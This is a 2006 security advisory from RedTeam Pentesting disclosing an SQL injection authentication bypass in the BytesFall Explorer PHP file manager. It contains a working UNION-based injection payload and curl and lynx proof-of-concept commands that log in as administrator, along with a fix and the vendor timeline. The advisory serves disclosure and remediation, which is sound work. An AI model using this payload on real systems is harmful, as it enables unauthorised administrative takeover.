> Advisories > rt-sa-2006-007 vertical divider

Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the
administrator of BytesFall Explorer by using an SQL injection. Several other
SQL injections are possible.


Details
=======

Product: BytesFall Explorer
Affected Versions: <= 0.0.7.1
Fixed Versions: 0.0.7.2
Vulnerability Type: SQL injection
Security-Risk: medium 
Vendor-URL: http://bfexplorer.sourceforge.net
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-007
Advisory-Status: public
CVE: CVE-2006-5606
CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5606


Introduction
============

BytesFall Explorer is a web-based file manager programmed in PHP and JavaScript
and licensed under the GNU GPL. It allows to upload, download, view, edit,
copy, move/rename and change permissions of a single file/directory or a group
of files/directories.


More Details
============

Because of missing user input sanitizations a malicious user can modify an SQL
query in login/doLogin.php, line 13:

13   $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';",
$tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from
bfe_users where ''='

and password 'redteam' a user can login and take over the role of the
administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited.


Proof of Concept
================

Using curl:

curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data
http://www.example.com/bfExplorer/login/doLogin.php


Workaround
==========

Use PHP Magic Quotes.


Fix
===

Use PHP's mysql_escape_string() to sanitize variables containing user
input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall
Explorer is available.


Security Risk
=============

RedTeam considers the security risc medium. BytesFall Explorer can be
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes
do not represent real security, they are a workaround for these problems.


History
=======

2006-10-26 Discovery of the vulnerabilities
2006-10-26 Vendor is informed
2006-10-26 Vendor releases fixed version
2006-10-31 Advisory released
2009-05-08 Updated Advisory URL


RedTeam
=======

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks are uncovered and can be fixed
immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.